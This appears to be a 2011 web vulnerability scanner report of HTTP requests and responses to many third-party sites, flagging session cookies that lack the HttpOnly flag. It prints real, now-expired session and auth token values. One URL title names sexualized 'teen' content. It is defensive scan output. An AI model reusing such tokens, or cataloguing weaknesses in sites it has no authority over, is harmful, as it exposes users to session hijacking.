GET /x22 HTTP/1.1 Host: www.carsdirect.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:34 GMT Server: Apache Set-Cookie: JSESSIONID=6AFA93D77F160D2887EB6A8A80625603.eqapp5-2-worker; Path=/ Set-Cookie: TRACKER_ID=-1; Domain=.carsdirect.com; Expires=Sat, 23-Jul-2011 16:04:34 GMT; Path=/ Content-Language: en Content-Length: 156 Vary: Accept-Encoding Content-Type: text/html Connection: close Set-Cookie: BIGipServercarsdirect_pool=3253211308.0.0000; path=/
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=112rl5duvqkmmubehjna1j1ij0; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /photo-image-editor.htm HTTP/1.1 Host: www.cdearth.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:05:21 GMT Server: Apache X-Powered-By: PHP/5.2.16 Set-Cookie: PHPSESSID=112rl5duvqkmmubehjna1j1ij0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 12648
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" " ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.corporatehousing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Cache-Control: private Content-Length: 132 Content-Type: text/html Location: default.asp Server: Microsoft-IIS/7.5 Set-Cookie: ASPSESSIONIDSSRDTQSQ=GHGAKDPCBLMJMEEEJDLHHDIC; path=/ X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:58:13 GMT Connection: close
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="default.asp">here</a>.</body>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.digitaltips.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 13:13:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 15408 Content-Type: text/html Expires: Tue, 25 Jan 2011 13:12:49 GMT Set-Cookie: ASPSESSIONIDQACCSATA=CBMAPNKCICCPLJELGPNDBBAG; path=/ Cache-control: private
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><!-- PageID 106 - published ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /post HTTP/1.1 Host: www.diigo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 25 Jan 2011 13:14:38 GMT Content-Type: text/html; charset=utf-8 Connection: close P3P: CP="NOI DEVa TAIa OUR BUS UNI" Location: https://secure.diigo.com/sign-in?referInfo=http%3A%2F%2Fwww.diigo.com%2Fpost X-Runtime: 0.00258 Content-Length: 142 Set-Cookie: CHKIO=; domain=.diigo.com; path=/; expires=Fri, 21 Jan 2011 09:14:38 GMT Set-Cookie: diigoandlogincookie=; domain=.diigo.com; path=/; expires=Fri, 21 Jan 2011 09:14:38 GMT Set-Cookie: _smasher_session=cdc373a2e1ecd61c7b92bca1b0e323d3; domain=diigo.com; path=/ Cache-Control: no-cache
<html><body>You are being <a href="https://secure.diigo.com/sign-in?referInfo=http%3A%2F%2Fwww.diigo.com%2Fpost">redirected</a>.</body></html>
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.directstartv.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=bb05b7f7a9c540a99a25d950dbe037b3; expires=Thu, 27 Jan 2011 14:02:50 GMT; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /main/do/Privacy_Policy HTTP/1.1 Host: www.dominionenterprises.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /main/do/Terms_of_Use HTTP/1.1 Host: www.dominionenterprises.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <title>Dominion Enterprises | Terms of Use</title> <base href="http://www.dominionenterprises.com/" /> <meta http-eq ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
JSESSIONID=aaaH3fDCwPO6Ah760t92s; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /links/add.html?url={u}&title={t} HTTP/1.1 Host: www.dzone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/press_release/ebay_selects_joomla_open_source_to_foste HTTP/1.1 Host: www.ebayinc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:05:24 GMT Set-Cookie: JSESSIONID=56B7E2F4F643F8C3234B643523676F33; Path=/ Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close Content-Length: 19418
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:l ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.experthost.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:13:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=ug8lo0eso5l1caor5e6snp0n32; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, must-revalidate Pragma: no-cache P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Set-Cookie: SN47e3b11e7ddd7=ug8lo0eso5l1caor5e6snp0n32; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 12206
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.forrent.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /n/Nonude-Young-and-Beauty-Pretty-Girl-teen-NN-usenet-binaries/x22 HTTP/1.1 Host: www.heroturko.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><head> <title>Nonude Young and Beauty Pretty Girl teen NN usenet binariesx22 H ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.homes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Homes.com - Ho ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.hotelcoupons.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 21491 Content-Type: text/html Server: Microsoft-IIS/7.5 Set-Cookie: ASPSESSIONIDSSSQSDQC=DNBEMMLCBPOAIFFKBFHHMBOM; path=/ X-Powered-By: ASP.NET ServerId: 1 Server: Norfolk Date: Tue, 25 Jan 2011 00:03:27 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Cont ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /artsandculture/actualite/id/47982/theme/111/titre/Raquel-Boldorini-in-concert-at-AUB-s-Assembly-Hall/x22 HTTP/1.1 Host: www.iloubnan.info Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /software/inn HTTP/1.1 Host: www.isc.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 00:03:30 GMT Server: Apache/2.2.15 (FreeBSD) mod_ssl/2.2.15 OpenSSL/0.9.8k DAV/2 PHP/5.2.12 with Suhosin-Patch X-Powered-By: PHP/5.2.12 Set-Cookie: SESS9cfe3c2aaf50d7f05c32ca05c0087e5f=6n6is5r71p8hmcq9aea7k12pe1; path=/; domain=.isc.org Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:03:30 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /company/805465 HTTP/1.1 Host: www.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID="ajax:4114291373918205941"; Version=1; Path=/ P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE" Set-Cookie: leo_auth_token="GST:UoW4AS-tuKNn5DcHUPtJAkw5UTo1RwdYXEpCAnyOqUgnfH_r88e9Gn:1295930580:095f9f787f0c0472ca72a7237529789a55194807"; Version=1; Max-Age=1799; Expires=Tue, 25-Jan-2011 05:12:59 GMT; Path=/ Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: visit=G; Expires=Sun, 12-Feb-2079 07:57:07 GMT; Path=/ Set-Cookie: bcookie="v=1&6c07c4c1-6690-4d02-b09e-6b0aecb2966c"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Sun, 12-Feb-2079 07:57:07 GMT; Path=/ Set-Cookie: lang="v=2&lang=en"; Version=1; Domain=linkedin.com; Path=/ Location: http://www.linkedin.com/companies/kirshenbaum-bond-senecal-%2B-partners Content-Language: en-US Content-Length: 0 Date: Tue, 25 Jan 2011 04:43:00 GMT
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /affcb/ HTTP/1.1 Host: www.liutilities.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Connection: close Date: Mon, 24 Jan 2011 16:01:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Location: http://store.uniblue.com/278/purl-?affiliate=&x-at= Content-Length: 176 Content-Type: text/html Set-Cookie: ASPSESSIONIDQCAQDBDA=NJMAJEECHGPFEFOADGEGCEPG; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://store.uniblue.com/278/purl-?affiliate=&x-at=">here</a>.</body>
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.mathias-bank.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:44:19 GMT Server: Apache/2.2.14 (Ubuntu) X-Pingback: http://www.mathias-bank.de/xmlrpc.php Set-Cookie: bb2_screener_=1295930659+173.193.214.243; path=/ Set-Cookie: PHPSESSID=3497fb0606bae927d83d82e254f5c56a; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55018
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/x ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fplayer/ HTTP/1.1 Host: www.metacafe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI CUR ADM OUR NOR STA NID" Content-Type: text/html Date: Tue, 25 Jan 2011 04:45:05 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: PHPSESSID=37405ae87945ce0d058ea5e18b5a73df; path=/; domain=.metacafe.com Set-Cookie: OAGEO=US%7CTX%7CDallas%7C75207%7C32.7825%7C-96.8207%7C623%7C214%7C%7C%7C; path=/; domain=.metacafe.com Set-Cookie: OAID=f488ed4f4e9ec6a273b4b088e853dd33; expires=Wed, 25-Jan-2012 04:45:05 GMT; path=/; domain=.metacafe.com Set-Cookie: User=%7B%22sc%22%3A1%2C%22visitID%22%3A%225ff37793909b485fc44ca3c3af4425f7%22%2C%22LEID%22%3A15%2C%22LangID%22%3A%22en%22%2C%22npUserLocations%22%3A%5B244%5D%2C%22npUserLanguages%22%3A%5B9%5D%2C%22pve%22%3A1%7D; expires=Sun, 24-Jan-2016 04:45:05 GMT; path=/; domain=.metacafe.com Set-Cookie: dsavip=3400536236.20480.0000; expires=Tue, 25-Jan-2011 05:45:05 GMT; path=/ Content-Length: 160213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.faceboo ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
wongsess=847df68c6b6a1522859025303610eb1c; expires=Fri, 25 Jan 2036 10:46:31 GMT; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.php HTTP/1.1 Host: www.mister-wong.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:30 GMT Server: Apache Set-Cookie: wongsess=847df68c6b6a1522859025303610eb1c; expires=Fri, 25 Jan 2036 10:46:31 GMT; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Length: 7516 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /mpa/autobytel/setCookie.do HTTP/1.1 Host: www.myproductadvisor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 00:08:23 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: UIVERSION_COOKIE=1; Path=/mpa/ Set-Cookie: JSESSIONID=a7ff3102cc2a90029701232ccef5; Path=/mpa Location: http://www.myproductadvisor.com/mpa/cookiecheck.do?originalurl=aHR0cDovL3d3dy5teXByb2R1Y3RhZHZpc29yLmNvbS9tcGEvYXV0b2J5dGVsL3NldENvb2tpZS5kbw== Content-Length: 0 P3P: policyref="/content/w3c/p3p.xml", CP="NOI DSP NID CURa ADMa DEVa TAIa PSAa PSDa OUR NOR IND COM NAV STA" Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-c0a8010b=c0a801cd:0; path=/
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Modules/PostTo/Pages/ HTTP/1.1 Host: www.myspace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="/auth/loginform?dest=http%3a%2f%2fwww.myspace.com%2fModules%2fPostTo%2fPages%2fdefault.aspx%3fu%3dhttp%253a%252f%252f ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /netlingo HTTP/1.1 Host: www.myspace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.net-folio.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 04:47:23 GMT Server: Apache Set-Cookie: PHPSESSID=dd1e473e424e2ab82663e797b0d63d68; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: /website-for-photographers/index.php Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /log-out.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=p2kggg0b9m3bnq9c57hhsvlcl0; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /login.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:02 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=p2kggg0b9m3bnq9c57hhsvlcl0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 33956
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=sb796kqmjk5b811eau65ljq195; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /register.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:05 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=sb796kqmjk5b811eau65ljq195; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 46577
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=ubh5bqn9kj4a5lcoor3k51ph52; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shop/index.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=ubh5bqn9kj4a5lcoor3k51ph52; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 45160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=ogucvrimkkhjf3ddi951jdps62; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shop/shopping-cart.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:10 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=ogucvrimkkhjf3ddi951jdps62; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 32824
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /community/blog/ebay-use-joomla-open-source-glue HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /charity_chart.htm HTTP/1.1 Host: www.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /home_popupstatus.htm HTTP/1.1 Host: www.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /overview.htm HTTP/1.1 Host: www.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:24 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0b3bde5ef4c5042fc11d526d2dd84342; path=/ Content-Length: 33263 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /promo.do HTTP/1.1 Host: www.officedepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: IBM_HTTP_Server Pragma: No-cache Cache-Control: no-cache,no-store,max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="ALL DEVa TAIa OUR BUS UNI NAV STA PRE" policyref="http://www.officedepot.com/w3c/p3p.xml" Content-Type: text/html; charset=UTF-8 Content-Language: en-US Date: Tue, 25 Jan 2011 05:04:07 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: JSESSIONID=00005yEwWrYJ3VxcYFAH_1ES2aP:13ddq0sic; Path=/ Set-Cookie: jsession_unique_id=1295931847463; Expires=Tue, 25 Jan 2011 06:34:07 GMT; Path=/ Set-Cookie: CU_BRAND=OD; Expires=Fri, 20 Jan 2012 05:04:07 GMT; Path=/ Set-Cookie: IBSD_LOCALE=en_US; Expires=Fri, 20 Jan 2012 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: cae_browser=desktop; path=/; domain=.officedepot.com Content-Length: 73834
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/bsd-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/gpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/mit-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /award HTTP/1.1 Host: www.packtpub.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=1a2a1fi9q2vop26mnuph8otr37; path=/
